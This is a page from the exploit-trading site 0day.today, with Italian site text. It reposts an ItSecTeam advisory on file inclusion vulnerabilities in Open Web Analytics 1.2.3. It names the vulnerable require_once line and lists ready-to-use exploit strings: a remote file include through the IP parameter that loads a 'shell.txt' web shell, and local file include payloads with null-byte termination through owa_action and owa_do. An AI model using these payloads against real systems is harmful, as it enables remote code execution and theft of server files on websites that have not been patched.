[ authorization ] [ registration ] [ Ripristina ]
Contattaci
Ci puoi contattare tramite:
0day.today Exploits Market and 0day Exploits Database

Open Web Analytics 1.2.3 multi file include

Autore
Itsecteam
Rischio
[
Security Risk Unsored
]
0day-ID
0day-ID-11475
Categoria
web applications
Data inserimento
27-03-2010
Piattaforma
php
===========================================
Open Web Analytics 1.2.3 multi file include
===========================================

===========================================================================
( #Topic    : Open Web Analytics 1.2.3
( #Bug type : multi file include
( #Download : http://downloads.openwebanalytics.com/owa/owa_1_2_3.tar
( #Advisory :
===========================================================================
( #Author : ItSecTeam
( #Email  : [email protected]
( #Website: http://www.itsecteam.com
( #Forum  : http://forum.ITSecTeam.com
( #Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability26.htm
( #Special Tnx : ahmadbady , [email protected] And All Team Members!
 
vuls:===================================================================
path/mw_plugin.php
 
require_once "$IP/includes/SpecialPage.php";  
 
exploit:===================================================================
 
rfi : path/mw_plugin.php?IP=shell.txt?
 
lfi :path/index.php?owa_action=[lfi]%00
lfi :path/index.php?owa_do=[lfi]%00
--------------------------------------



#  0day.today [2024-07-02]  #